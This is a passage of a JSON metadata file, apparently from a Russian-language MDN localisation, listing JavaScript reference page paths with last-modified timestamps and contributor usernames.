"torbasow", - "ic8550", - "ekirpichyov", - "SphinxKnight", - "I-O", - "esusekov", - "dtretyakov" - ] - }, - "Web/JavaScript/Reference/Functions/Rest_parameters": { - "modified": "2020-11-24T01:31:54.419Z", - "contributors": [ - "almaceleste", - "CLoud-Maker", - "ekirpichyov", - "jt3k", - "IlyaMokin", - "forestbird", - "dtretyakov", - "fscholz", - "EgorSinitcin" - ] - }, - "Web/JavaScript/Reference/Functions/arguments": { - "modified": "2020-10-15T21:34:47.356Z", - "contributors": [ - "sashakrauzer", - "Ziserman", - "boxa6", - "dima74", - "KTatyana", - "Olovyanch", - "uleming", - "BychekRU", - "fscholz" - ] - }, - "Web/JavaScript/Reference/Functions/arguments/callee": { - "modified": "2020-03-12T19:44:41.002Z", - "contributors": [ - "madsps", - "lkazberova", - "In4in" - ] - }, - "Web/JavaScript/Reference/Functions/arguments/length": { - "modified": "2020-03-12T19:41:22.682Z", - "contributors": [ - "evgenevna22", - "BychekRU" - ] - }, - "Web/JavaScript/Reference/Functions/get": { - "modified": "2020-10-15T21:43:29.042Z", - "contributors": [ - "ankormoreankor", - "WinterSilence", - "YozhEzhi", - "ipoluhin", - "metelskiy", - "kukuruznik04", - "ArtyomGilevich", - "andrey-gnl", - "pierreneter", - "etokareva" - ] - }, - "Web/JavaScript/Reference/Functions/set": { - "modified": "2020-10-15T21:49:47.173Z", - "contributors": [ - "SerzN1", - "severin-d", - "PaulineNemchak", - "serzero2007", - "d4rkm3z" - ] - }, - "Web/JavaScript/Reference/Functions/Определиние_методов": { - "modified": "2020-03-12T19:41:39.567Z", - "contributors": [ - "SphinxKnight", - "sergeymakoveev", - "BatenkovT" - ] - }, - "Web/JavaScript/Reference/Global_Objects": { - "modified": "2020-03-12T19:36:07.217Z", - "contributors": [ - "AynurShauerman", - "InoY", - "akrom123", - "Mingun", - "teoli", - "pashak" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Array": { - "modified": "2020-10-15T21:21:43.377Z", - "contributors": [ - "wbamberg", - "geek10010", - "rinbik", - "dima74", - "Yumeiro", - "superpuper32", - "kdex", - "terranisu", - "Mingun", - "teoli", - "yakovlevigorek", - "icw82", - "BedyNN", - "dbruant" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Array/@@iterator": { - "modified": "2019-03-23T23:03:21.064Z", - "contributors": [ - "SphinxKnight", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Array/@@species": { - "modified": "2020-10-15T22:06:58.667Z", - "contributors": [ - "DwarfMason" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Array/@@unscopables": { - "modified": "2020-10-15T22:00:26.446Z", - "contributors": [ - "fax1ty" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Array/Reduce": { - "modified": "2020-10-15T21:28:31.597Z", - "contributors": [ - "sborenko", - "nikolai-shabalin", - "likerRr", - "Ant-VAV", - "Metotron", - "fxrbfg", - "Ohar", - "slavablind91", - "AliaksandrSith", - "Riim", - "Mingun", - "NikitaK", - "Anton_Arestov" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Array/concat": { - "modified": "2020-10-15T21:29:20.106Z", - "contributors": [ - "rookhive", - "nikolai-shabalin", - "AlekseiTarasov", - "KTatyana", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Array/copyWithin": { - "modified": "2019-03-23T23:11:15.223Z", - "contributors": [ - "burashka", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Array/entries": { - "modified": "2019-09-20T08:30:17.656Z", - "contributors": [ - "burashka", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Array/every": { - "modified": "2020-10-15T21:22:11.253Z", - "contributors": [ - "VovanR", - "YozhEzhi", - "burashka", - "Mingun", - "teoli", - "hel-galdr" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Array/fill": { - "modified": "2020-10-15T21:29:20.455Z", - "contributors": [ - "iandr", - "nakhodkiin", - "nikolai-shabalin", - "alt-j", - "dima74", - "burashka", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Array/filter": { - "modified": "2020-10-15T21:29:22.486Z", - "contributors": [ - "almaceleste", - "Darth-pioner", - "nikolai-shabalin", - "Sinfiotli", - "burashka", - "Aleksej", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Array/find": { - "modified": "2020-10-15T21:29:21.073Z", - "contributors": [ - "tcheburator", - "drunk", - "matveyson", - "JorJeG", - "Metotron", - "sv-kozlov", - "OksanaKaragicheva", - "AlexeyMM", - "burashka", - "torbasow", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Array/findIndex": { - "modified": "2020-10-15T21:29:19.823Z", - "contributors": [ - "zhvirblis", - "S-le", - "burashka", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Array/flat": { - "modified": "2020-12-06T17:04:44.757Z", - "contributors": [ - "PaulineNemchak", - "ekirpichyov", - "geekjob", - "Akh-rman", - "Fellzo", - "vjachet" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Array/flatMap": { - "modified": "2020-10-15T22:10:06.829Z", - "contributors": [ - "dsrtF0x-git", - "InoY", - "taxidermic", - "Akh-rman", - "eof273", - "etroynov", - "dood" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Array/forEach": { - "modified": "2020-10-15T21:21:41.065Z", - "contributors": [ - "almaceleste", - "nikolai-shabalin", - "JorJeG", - "paulvoloschuk", - "kusonka", - "Mingun", - "Ajooluz", - "teoli", - "dunmaksim", - "IgorKlopov", - "ipetropolsky", - "John Wehin" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Array/from": { - "modified": "2020-10-15T21:28:50.020Z", - "contributors": [ - "ekirpichyov", - "drwatson1", - "JorJeG", - "kdex", - "Sergey.Stolnikov", - "burashka", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Array/includes": { - "modified": "2020-10-15T21:30:12.634Z", - "contributors": [ - "Yialo", - "Hronex", - "nikolai-shabalin", - "dima74", - "Setol", - "burashka", - "jwhitlock", - "dema", - "Mingun", - "fscholz" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Array/indexOf": { - "modified": "2020-10-15T21:29:27.163Z", - "contributors": [ - "zhvirblis", - "vlad-vorontsov", - "burashka", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Array/isArray": { - "modified": "2020-10-15T21:29:00.463Z", - "contributors": [ - "dudd1ts", - "JorJeG", - "Mingun", - "ivan_k" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Array/join": { - "modified": "2020-10-15T21:29:17.685Z", - "contributors": [ - "pk.prog", - "AlexeyOm", - "IslamA", - "Radiansz", - "mshykov", - "Mingun", - "teoli", - "Ajooluz" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Array/keys": { - "modified": "2020-10-15T21:29:27.000Z", - "contributors": [ - "nikolai-shabalin", - "burashka", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Array/lastIndexOf": { - "modified": "2020-10-15T21:29:27.046Z", - "contributors": [ - "nikolai-shabalin", - "burashka", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Array/length": { - "modified": "2020-10-15T21:29:17.654Z", - "contributors": [ - "ierehon1905", - "smlkA", - "Roman-Kosov", - "JorJeG", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Array/map": { - "modified": "2020-10-15T21:25:02.588Z", - "contributors": [ - "Dvash", - "nikolai-shabalin", - "JorJeG", - "ZeroUnderscoreOu", - "Jemdo", - "torbasow", - "Mingun", - "teoli", - "ilyamilosevic", - "Vhornets" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Array/of": { - "modified": "2020-10-15T21:29:22.065Z", - "contributors": [ - "ekirpichyov", - "Natalya_Surikova", - "burashka", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Array/pop": { - "modified": "2020-10-15T21:29:28.268Z", - "contributors": [ - "art-gur", - "KTatyana", - "torbasow", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Array/prototype": { - "modified": "2020-10-15T21:23:46.631Z", - "contributors": [ - "boxa6", - "Mingun", - "teoli", - "BedyNN" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Array/push": { - "modified": "2020-10-15T21:29:29.342Z", - "contributors": [ - "art-gur", - "roma-derski", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Array/reduceRight": { - "modified": "2019-03-23T23:10:37.299Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Array/reverse": { - "modified": "2020-10-15T21:29:30.196Z", - "contributors": [ - "nikolai-shabalin", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Array/shift": { - "modified": "2019-03-18T21:11:15.103Z", - "contributors": [ - "UriShlomov", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Array/slice": { - "modified": "2020-11-30T07:23:00.434Z", - "contributors": [ - "chmsv", - "rulevadim", - "nikolai-shabalin", - "GraceAredel", - "Ollemesh", - "kdex", - "xaosxaos", - "Mol4ok", - "BychekRU", - "kroleg", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Array/some": { - "modified": "2020-10-15T21:22:10.601Z", - "contributors": [ - "ekirpichyov", - "VovanR", - "zhvirblis", - "Mingun", - "teoli", - "hel-galdr" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Array/sort": { - "modified": "2020-11-19T16:34:13.947Z", - "contributors": [ - "deepdarkness", - "YozhEzhi", - "dmivtr", - "JorJeG", - "Denis-Yeromenko", - "borm", - "vlad-vorontsov", - "grabus", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Array/splice": { - "modified": "2020-12-02T07:24:33.321Z", - "contributors": [ - "inva8de", - "Eskinnikita", - "zhvirblis", - "dimaqw", - "JohnnyJustDo", - "mshipov", - "terranisu", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Array/toLocaleString": { - "modified": "2019-03-23T23:10:25.595Z", - "contributors": [ - "IvanMorkva", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Array/toSource": { - "modified": "2019-03-23T23:10:31.696Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Array/toString": { - "modified": "2019-09-15T17:12:05.770Z", - "contributors": [ - "Glazomer", - "Ilya33", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Array/unshift": { - "modified": "2020-10-15T21:29:32.715Z", - "contributors": [ - "muxmux.ryzhinskiy", - "YozhEzhi", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Array/values": { - "modified": "2019-03-23T23:07:58.684Z", - "contributors": [ - "nakhodkiin", - "burashka", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/ArrayBuffer": { - "modified": "2019-04-21T10:54:59.612Z", - "contributors": [ - "solncebro", - "Bargamut", - "PaulShestakov", - "pashutk" - ] - }, - "Web/JavaScript/Reference/Global_Objects/ArrayBuffer/isView": { - "modified": "2020-10-15T22:21:50.519Z", - "contributors": [ - "shmel3" - ] - }, - "Web/JavaScript/Reference/Global_Objects/ArrayBuffer/slice": { - "modified": "2019-03-23T22:15:54.709Z", - "contributors": [ - "lazyexpert" - ] - }, - "Web/JavaScript/Reference/Global_Objects/AsyncFunction": { - "modified": "2019-03-23T22:09:52.218Z", - "contributors": [ - "Saiberbest" - ] - }, - "Web/JavaScript/Reference/Global_Objects/AsyncFunction/prototype": { - "modified": "2020-10-15T22:21:51.709Z", - "contributors": [ - "AliaksandrZahorski" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Atomics": { - "modified": "2019-03-23T22:09:35.332Z", - "contributors": [ - "Kazakoff", - "Exseption", - "curdwithraisins" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Atomics/add": { - "modified": "2019-03-23T22:09:42.443Z", - "contributors": [ - "curdwithraisins" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Atomics/sub": { - "modified": "2019-03-23T22:09:32.642Z", - "contributors": [ - "curdwithraisins" - ] - }, - "Web/JavaScript/Reference/Global_Objects/BigInt": { - "modified": "2020-10-15T22:19:09.504Z", - "contributors": [ - "art-gur", - "bm12", - "sh7dm", - "3bl3gamer", - "Anna-Myzukina" - ] - }, - "Web/JavaScript/Reference/Global_Objects/BigInt/asIntN": { - "modified": "2020-10-15T22:20:36.621Z", - "contributors": [ - "faramozzayw" - ] - }, - "Web/JavaScript/Reference/Global_Objects/BigInt/asUintN": { - "modified": "2020-10-15T22:31:22.153Z", - "contributors": [ - "ascker0087" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Boolean": { - "modified": "2019-07-22T13:06:53.919Z", - "contributors": [ - "wbamberg", - "Denis-Yeromenko", - "villager", - "Aleksej", - "AlexChuev", - "Mingun", - "Troynov" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Boolean/prototype": { - "modified": "2019-03-23T23:08:22.785Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Boolean/toSource": { - "modified": "2019-03-23T23:08:31.932Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Boolean/toString": { - "modified": "2019-03-23T23:08:25.305Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Boolean/valueOf": { - "modified": "2019-03-23T23:08:35.008Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/DataView": { - "modified": "2020-10-15T22:07:01.854Z", - "contributors": [ - "MuradAz" - ] - }, - "Web/JavaScript/Reference/Global_Objects/DataView/setInt16": { - "modified": "2020-10-15T22:26:51.553Z", - "contributors": [ - "A-Zalt" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Date": { - "modified": "2020-10-15T21:21:23.873Z", - "contributors": [ - "Lutsko.Aleksandr", - "sashakrauzer", - "denis_dubovitskiy", - "prinze77", - "boxa6", - "wbamberg", - "MerkUriy", - "dvapelnik", - "lanedis", - "Mingun", - "zasipin", - "liloi", - "teoli", - "Funkill", - "bvc3at" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Date/UTC": { - "modified": "2020-10-15T21:30:36.314Z", - "contributors": [ - "art-gur", - "Kogoruhn", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Date/getDate": { - "modified": "2020-11-23T09:29:17.949Z", - "contributors": [ - "Thr0TT1e", - "YozhEzhi", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Date/getDay": { - "modified": "2020-11-23T09:40:35.418Z", - "contributors": [ - "Thr0TT1e", - "YozhEzhi", - "pushandplay", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Date/getFullYear": { - "modified": "2020-11-23T09:25:53.294Z", - "contributors": [ - "Thr0TT1e", - "YozhEzhi", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Date/getHours": { - "modified": "2020-11-23T09:42:06.437Z", - "contributors": [ - "Thr0TT1e", - "YozhEzhi", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Date/getMilliseconds": { - "modified": "2020-11-23T09:43:47.925Z", - "contributors": [ - "Thr0TT1e", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Date/getMinutes": { - "modified": "2020-11-23T09:46:11.501Z", - "contributors": [ - "Thr0TT1e", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Date/getMonth": { - "modified": "2020-11-23T09:48:49.474Z", - "contributors": [ - "Thr0TT1e", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Date/getSeconds": { - "modified": "2020-11-23T09:50:13.502Z", - "contributors": [ - "Thr0TT1e", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Date/getTime": { - "modified": "2020-11-23T10:07:21.665Z", - "contributors": [ - "Thr0TT1e", - "YozhEzhi", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Date/getTimezoneOffset": { - "modified": "2019-03-23T23:08:01.324Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Date/getUTCDate": { - "modified": "2019-03-23T23:07:51.614Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Date/getUTCDay": { - "modified": "2019-03-23T23:07:47.611Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Date/getUTCFullYear": { - "modified": "2019-03-23T23:07:46.134Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Date/getUTCHours": { - "modified": "2019-03-23T23:07:53.266Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Date/getUTCMilliseconds": { - "modified": "2019-03-23T23:07:39.074Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Date/getUTCMinutes": { - "modified": "2019-03-23T23:07:42.061Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Date/getUTCMonth": { - "modified": "2019-03-23T23:07:45.367Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Date/getUTCSeconds": { - "modified": "2019-03-23T23:07:43.174Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Date/getYear": { - "modified": "2020-10-15T21:30:40.324Z", - "contributors": [ - "YozhEzhi", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Date/now": { - "modified": "2020-10-15T21:30:36.867Z", - "contributors": [ - "art-gur", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Date/parse": { - "modified": "2019-10-24T09:44:34.488Z", - "contributors": [ - "alx-khramov", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Date/prototype": { - "modified": "2020-02-07T02:50:13.993Z", - "contributors": [ - "alexbs", - "deepdarkness", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Date/setDate": { - "modified": "2020-10-15T21:30:41.423Z", - "contributors": [ - "YozhEzhi", - "webkumo", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Date/setFullYear": { - "modified": "2019-03-23T23:07:39.254Z", - "contributors": [ - "kirilloid", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Date/setHours": { - "modified": "2019-03-23T23:07:43.801Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Date/setMilliseconds": { - "modified": "2019-03-23T23:07:39.901Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Date/setMinutes": { - "modified": "2019-03-23T23:07:42.239Z", - "contributors": [ - "Grundy", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Date/setMonth": { - "modified": "2019-08-28T08:27:33.855Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Date/setSeconds": { - "modified": "2019-03-23T23:07:43.395Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Date/setTime": { - "modified": "2019-03-23T23:07:49.178Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Date/setUTCDate": { - "modified": "2019-03-23T23:07:49.535Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Date/setUTCFullYear": { - "modified": "2019-03-23T23:07:46.690Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Date/setUTCHours": { - "modified": "2019-03-23T23:07:41.747Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Date/setUTCMilliseconds": { - "modified": "2019-03-23T23:07:43.019Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Date/setUTCMinutes": { - "modified": "2019-03-23T23:07:52.228Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Date/setUTCMonth": { - "modified": "2019-03-23T23:07:49.014Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Date/setUTCSeconds": { - "modified": "2019-03-23T23:07:49.949Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Date/setYear": { - "modified": "2020-10-15T21:30:50.607Z", - "contributors": [ - "YozhEzhi", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Date/toDateString": { - "modified": "2019-03-23T23:07:29.510Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Date/toGMTString": { - "modified": "2019-03-23T23:07:35.386Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Date/toISOString": { - "modified": "2019-03-23T23:07:33.750Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Date/toJSON": { - "modified": "2019-03-23T23:07:37.415Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Date/toLocaleDateString": { - "modified": "2019-03-18T21:14:44.198Z", - "contributors": [ - "Mingun", - "teoli", - "kup" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Date/toLocaleString": { - "modified": "2019-04-25T06:23:31.086Z", - "contributors": [ - "Ferguse", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Date/toLocaleTimeString": { - "modified": "2019-03-23T23:07:26.983Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Date/toSource": { - "modified": "2019-03-23T23:07:30.899Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Date/toString": { - "modified": "2019-03-23T23:07:27.147Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Date/toTimeString": { - "modified": "2020-10-15T21:30:50.319Z", - "contributors": [ - "art-gur", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Date/toUTCString": { - "modified": "2019-03-23T23:07:27.719Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Date/valueOf": { - "modified": "2019-03-23T23:07:24.461Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Error": { - "modified": "2020-10-15T21:30:29.342Z", - "contributors": [ - "Bakosa666", - "boxa6", - "mshutov", - "ZeroUnderscoreOu", - "Drugak", - "KTatyana", - "pk.prog", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Error/Stack": { - "modified": "2019-03-23T23:08:35.216Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Error/columnNumber": { - "modified": "2019-03-23T23:08:51.041Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Error/fileName": { - "modified": "2019-03-23T23:08:50.913Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Error/lineNumber": { - "modified": "2019-03-18T21:16:24.987Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Error/message": { - "modified": "2019-03-23T23:08:49.501Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Error/name": { - "modified": "2019-03-23T23:08:51.293Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Error/prototype": { - "modified": "2019-03-23T23:08:50.114Z", - "contributors": [ - "rinbik", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Error/toSource": { - "modified": "2019-03-23T23:08:35.807Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Error/toString": { - "modified": "2019-03-23T23:08:36.104Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/EvalError": { - "modified": "2019-03-23T23:08:30.186Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/EvalError/prototype": { - "modified": "2019-03-23T23:08:32.207Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Float32Array": { - "modified": "2020-10-15T21:41:15.793Z", - "contributors": [ - "av-dev", - "pk.prog", - "usernameak", - "savelichalex" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Float64Array": { - "modified": "2020-10-15T21:59:37.641Z", - "contributors": [ - "pk.prog" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Function": { - "modified": "2020-10-15T21:14:32.042Z", - "contributors": [ - "benzin_kanister", - "Yialo", - "CROGOT", - "boxa6", - "Mingun", - "teoli", - "Skorney" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Function/apply": { - "modified": "2020-03-13T10:22:12.516Z", - "contributors": [ - "rookhive", - "EVRUSIN", - "NovikovViktor", - "Natalya_Surikova", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Function/arguments": { - "modified": "2019-03-23T23:08:58.338Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Function/bind": { - "modified": "2019-03-23T23:11:14.089Z", - "contributors": [ - "vlad-vorontsov", - "alfaslash", - "IPri", - "mxxn", - "nikbelikov", - "rmaksim", - "Mingun", - "im7mortal", - "teoli", - "AlexyAV" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Function/call": { - "modified": "2019-10-11T04:40:04.178Z", - "contributors": [ - "vitaminX", - "Natalya_Surikova", - "Mingun", - "teoli", - "fscholz" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Function/caller": { - "modified": "2019-05-06T13:11:25.305Z", - "contributors": [ - "Neitrin", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Function/displayName": { - "modified": "2019-03-23T23:08:57.657Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Function/length": { - "modified": "2019-03-23T23:33:11.930Z", - "contributors": [ - "Mingun", - "teoli", - "maxmaximov" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Function/name": { - "modified": "2020-10-15T21:28:28.242Z", - "contributors": [ - "Simaleon", - "sashakrauzer", - "MerkUriy", - "volokolamskspb", - "Yialo", - "nakhodkiin", - "SphinxKnight", - "Mingun", - "teoli", - "Lord_Howe" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Function/prototype": { - "modified": "2019-03-24T00:03:59.291Z", - "contributors": [ - "Devinora", - "pk.prog", - "Mingun", - "teoli", - "fscholz", - "Skorney" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Function/toSource": { - "modified": "2019-03-23T23:08:53.546Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Function/toString": { - "modified": "2019-03-23T23:08:47.306Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Generator": { - "modified": "2019-09-20T10:02:38.344Z", - "contributors": [ - "ahtohbi4", - "ygkorea" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Generator/next": { - "modified": "2020-10-15T22:22:50.166Z", - "contributors": [ - "ekirpichyov" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Generator/return": { - "modified": "2020-10-15T22:22:51.474Z", - "contributors": [ - "ekirpichyov" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Generator/throw": { - "modified": "2019-03-23T22:14:35.937Z", - "contributors": [ - "deman" - ] - }, - "Web/JavaScript/Reference/Global_Objects/GeneratorFunction": { - "modified": "2020-10-15T21:58:16.652Z", - "contributors": [ - "tilin97" - ] - }, - "Web/JavaScript/Reference/Global_Objects/GeneratorFunction/prototype": { - "modified": "2020-10-15T22:22:51.990Z", - "contributors": [ - "ekirpichyov" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Infinity": { - "modified": "2020-10-15T21:29:55.866Z", - "contributors": [ - "boxa6", - "SphinxKnight", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Int16Array": { - "modified": "2020-10-15T21:59:37.929Z", - "contributors": [ - "pk.prog" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Int32Array": { - "modified": "2020-10-15T21:59:37.998Z", - "contributors": [ - "sh13max", - "pk.prog" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Int8Array": { - "modified": "2020-10-15T21:57:33.561Z", - "contributors": [ - "Glazomer", - "iliatcymbal" - ] - }, - "Web/JavaScript/Reference/Global_Objects/InternalError": { - "modified": "2019-03-23T23:08:28.849Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/InternalError/prototype": { - "modified": "2019-03-23T23:08:27.124Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Intl": { - "modified": "2020-10-15T21:30:32.813Z", - "contributors": [ - "kserbez", - "boxa6", - "nrvru", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Intl/Collator": { - "modified": "2020-04-21T07:27:03.712Z", - "contributors": [ - "fscholz", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Intl/Collator/compare": { - "modified": "2020-04-21T07:27:03.594Z", - "contributors": [ - "fscholz", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Intl/Collator/prototype": { - "modified": "2020-04-21T07:27:03.529Z", - "contributors": [ - "fscholz", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Intl/Collator/resolvedOptions": { - "modified": 